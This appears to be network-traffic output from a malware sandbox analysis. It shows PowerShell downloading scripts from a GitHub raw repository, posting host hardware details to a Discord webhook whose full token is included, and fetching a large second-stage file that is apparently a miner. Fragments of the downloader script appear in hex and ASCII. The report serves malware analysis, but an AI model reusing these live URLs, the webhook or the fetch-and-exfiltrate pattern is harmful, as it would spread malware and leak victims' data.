2024-09-16 17:24:12 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "191acb94fb4b222ff094d9ef4cb7033590f0cd67f7ee57add9f2c69343267e71" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2B1B:1E48F6:C9994E:DFC27C:66E869BB Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:12 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740068-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726507452.155504,VS0,VE20 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 6a37e8b2185ea468ec88c49f1db0ef1adce45c79 Expires: Mon, 16 Sep 2024 17:29:12 GMT Source-Age: 0
2024-09-16 17:24:12 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 17:24:12 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49715	185.199.109.133	443	2668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:12 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:12 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "191acb94fb4b222ff094d9ef4cb7033590f0cd67f7ee57add9f2c69343267e71" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2B1B:1E48F6:C9994E:DFC27C:66E869BB Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:12 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740040-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726507452.155696,VS0,VE19 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 8e43357cf05743073be181868c23405116db0b81 Expires: Mon, 16 Sep 2024 17:29:12 GMT Source-Age: 0
2024-09-16 17:24:12 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 17:24:12 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49718	162.159.136.232	443	5980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:21 UTC	311	OUT	POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 268 Connection: Keep-Alive
2024-09-16 17:24:21 UTC	268	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 33 31 36 34 46 46 4b 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: 3164FFK\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n=======================
2024-09-16 17:24:21 UTC	1356	IN	HTTP/1.1 204 No Content Date: Mon, 16 Sep 2024 17:24:21 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=82f90b9a745011ef95e11a9ef7cab16e; Expires=Sat, 15-Sep-2029 17:24:21 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 2 x-ratelimit-reset: 1726507463 x-ratelimit-reset-after: 2 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CgQXGJjvcBevYC14G0uNweLNBGa9FFp977Dtaqmqt76sOd1T%2BI%2BRRqZAfmlxXBeflLtiMQd5ntdVhh9%2FOrxwM1x8icbGNAONX8yMcDJQrzMDoZERImtVEhW%2Fefgz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=82f90b9a745011ef95e11a9ef7cab16e623f32aeb876976e9b9f552459db3cd7e39d63f04a7c7d34abffc4c756f26bd7; Expires=Sat, 15-Sep-2029 17:24:21 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=a7ed6e42847d288ea1da78dc0b26d1746a78b4d5-1726507461; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-09-16 17:24:21 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 57 4e 79 4a 76 76 75 6f 42 68 33 36 36 51 71 63 5a 35 6a 4f 5f 68 37 48 32 79 46 5f 51 76 62 62 64 65 41 42 4c 50 6d 38 63 76 45 2d 31 37 32 36 35 30 37 34 36 31 35 34 37 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 34 32 38 63 62 31 37 61 62 62 31 35 61 66 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=WNyJvvuoBh366QqcZ5jO_h7H2yF_QvbbdeABLPm8cvE-1726507461547-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8c428cb17abb15af-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49716	162.159.136.232	443	2668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:21 UTC	311	OUT	POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 268 Connection: Keep-Alive
2024-09-16 17:24:21 UTC	268	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 33 31 36 34 46 46 4b 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: 3164FFK\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n=======================
2024-09-16 17:24:21 UTC	1356	IN	HTTP/1.1 204 No Content Date: Mon, 16 Sep 2024 17:24:21 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=82ee08ee745011ef977bc2a5f982a4d3; Expires=Sat, 15-Sep-2029 17:24:21 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1726507462 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EQPzWnJzWpMzqabFy4QD9SbaXNgaZ9HeV4Go6TTf1IeefYYadZjgcLHEWM%2FUGzu%2BNSsCCUs%2B%2BSbJRKy2JguPd7lbk4zIswCNM6D0ozzdBPgGqux7T6QlNJAyp4v8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=82ee08ee745011ef977bc2a5f982a4d35fbb18e5344754f863ef1dc0614b754d0984fcd3c8c679bec2ec5ed05e807b80; Expires=Sat, 15-Sep-2029 17:24:21 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=a7ed6e42847d288ea1da78dc0b26d1746a78b4d5-1726507461; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-09-16 17:24:21 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 4b 4d 75 63 6b 4a 62 41 32 48 6c 76 4f 74 4f 70 38 72 56 53 42 6a 42 61 67 6c 57 35 53 53 5a 6c 46 44 6e 42 2e 74 59 73 68 35 6f 2d 31 37 32 36 35 30 37 34 36 31 34 37 38 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 34 32 38 63 62 31 36 61 32 65 35 65 37 36 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=KMuckJbA2HlvOtOp8rVSBjBaglW5SSZlFDnB.tYsh5o-1726507461478-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8c428cb16a2e5e76-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49717	162.159.136.232	443	3996	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:21 UTC	311	OUT	POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 268 Connection: Keep-Alive
2024-09-16 17:24:21 UTC	268	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 33 31 36 34 46 46 4b 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: 3164FFK\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n=======================
2024-09-16 17:24:21 UTC	1354	IN	HTTP/1.1 204 No Content Date: Mon, 16 Sep 2024 17:24:21 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=82ef84bc745011ef9dca7ec8563eeb60; Expires=Sat, 15-Sep-2029 17:24:21 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 3 x-ratelimit-reset: 1726507463 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FTWsCt%2FdRDNonTY8o8yXmNYReZPo0TKeuKHHHLQ7t2Ir%2BEF5UUVuAuYWgaVqSFloJt%2BKKPYtLRBVEWeQEK0WfEabJLxGcvHhfvAly2GxE8rRTh7Gx9afezwClXlp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=82ef84bc745011ef9dca7ec8563eeb6088b75f690268a5d534c988ab9ea3af2979be068223192329fd170cff5c9773f5; Expires=Sat, 15-Sep-2029 17:24:21 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=a7ed6e42847d288ea1da78dc0b26d1746a78b4d5-1726507461; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-09-16 17:24:21 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 64 37 5a 31 46 6a 33 55 6a 57 52 56 67 48 34 2e 66 58 68 6c 39 39 4a 41 30 75 4f 71 44 70 42 6c 70 36 66 37 2e 34 74 58 4c 4f 41 2d 31 37 32 36 35 30 37 34 36 31 34 38 33 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 34 32 38 63 62 31 36 63 39 31 34 33 30 37 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=d7Z1Fj3UjWRVgH4.fXhl99JA0uOqDpBlp6f7.4tXLOA-1726507461483-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8c428cb16c914307-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49719	162.159.136.232	443	6976	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:21 UTC	311	OUT	POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 268 Connection: Keep-Alive
2024-09-16 17:24:21 UTC	268	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 33 31 36 34 46 46 4b 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: 3164FFK\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n=======================
2024-09-16 17:24:21 UTC	1354	IN	HTTP/1.1 204 No Content Date: Mon, 16 Sep 2024 17:24:21 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=82efc602745011ef86c9527e7cd0908a; Expires=Sat, 15-Sep-2029 17:24:21 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 1 x-ratelimit-reset: 1726507463 x-ratelimit-reset-after: 2 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J9rqJwUkT%2BP7FeFG0YHSzqD2Edn1kzx1V7zvVE6U3vEvUpB7sLhSFcYaHIT1ST7U074R1fkUt8OJuWCavEZDjneX2ERfs%2FfMlwH5Cb2w2%2Bs16QQy2VX60W5ft3hg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=82efc602745011ef86c9527e7cd0908a911be932a07168c73c9589fb48c398cb16a35a7dfd5ff6a10254042bffe86e0b; Expires=Sat, 15-Sep-2029 17:24:21 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=a7ed6e42847d288ea1da78dc0b26d1746a78b4d5-1726507461; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-09-16 17:24:21 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 74 50 5a 36 36 69 55 72 5a 4f 55 2e 56 56 6c 4c 61 78 72 4a 39 73 78 48 2e 6c 6e 53 46 72 6f 75 57 32 53 39 5f 4a 4e 74 56 5f 55 2d 31 37 32 36 35 30 37 34 36 31 34 39 30 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 34 32 38 63 62 31 37 61 63 66 30 66 38 35 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=tPZ66iUrZOU.VVlLaxrJ9sxH.lnSFrouW2S9_JNtV_U-1726507461490-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8c428cb17acf0f85-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	51648	185.199.109.133	443	7780	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:30 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:30 UTC	905	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C7AB:276216:D1E040:E80BFB:66E869CC Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740053-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726507471.678074,VS0,VE256 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 007459e55ede705fb6b3dcf95654207fcd36c128 Expires: Mon, 16 Sep 2024 17:29:30 GMT Source-Age: 0
